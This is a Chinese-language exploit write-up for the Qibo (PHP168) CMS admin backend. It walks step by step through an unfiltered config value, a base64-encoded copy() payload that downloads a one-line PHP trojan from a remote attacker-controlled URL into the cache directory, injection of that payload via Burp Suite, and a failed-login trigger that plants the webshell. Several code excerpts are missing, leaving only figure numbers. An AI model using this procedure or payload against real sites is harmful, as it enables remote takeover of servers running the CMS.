齐博系统全版本后台无限制可getshell

Author:Codier
FROM:F4ck

0x001
在文件admin/global.php 有用户登录代码部分如下:

由此可知 当用户不存在也就是输出错误用户名的时候会触发此代码

$webdb[_Notice]此为配置项的参数,对应的配置数据库表为config表
1
在此我们调试打印一下 该参数
2
得到的结果如下:

这是官方留下的通知么?可能是原php168的时候留下的吧 呵呵
试想一下如果
http://www.php168.com/Notice/?url=$webdb[www_url] 返回一个一句话呢。那么直接在admin/cache/目录下面生成 notice.php 一句话木马。

问题是此网站不受我们控制,那么我们得想办法在config表中修改配置项从而为我们所用。

0x002
接下来我们看一下配置文件的处理文件
该文件在admin/center.php

该函数中调用了 write_config_cache($webdbs); 来处理我们POST的内容
该 $webdbs 是一个数组

write_config_cache 该函数又回到了 admin/global.php 文件当中

简要内容如下:

此函数通过遍历 参数 $webdbs (数组),取其键值 然后拼装给$SQL2 变量。
然后通过

通过

在此之前全未对,无法配置的_Notice 进行过滤 。接下来就可以直接修改post包 更新其值了
0x003
首先我们来构造下

在得到base64编码之后要去掉前面的Y,这是对函数名做限定么?
好的,我们就只改下网站就ok了。
在远程网站上写一个fuck.txt文本写入 一句话
对应的url为:http://www.a.com/exp/fuck.txt

然后
copy(“http://www.a.com/exp/fuck.txt”,PHP168_PATH.”cache/Notice.php”);
再对该 代码进行base64编码得到
Y29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7
取Y后面的值 也就是
29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7
上神器burpsuite 进行抓包,
3
然后加入该参数:

点击Go提交数据包。
查看一下数据库中的表
4
已经改为我们提交的恶意base64编码了。

0x004
现在我们来触发,由前面0x001知道到 当用户不存在也就是输出错误用户名的时候会触发此代码 。我们打开
http://www.a.com/v7/admin/global.php
输出不存在用户 ,记得这里要随便输出密码,密码无输出也不会触发。。
5
点击登录
提示用户不存在,然后再cache目录下面 notice.php 一句话已经静静的躺着了
6

7

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录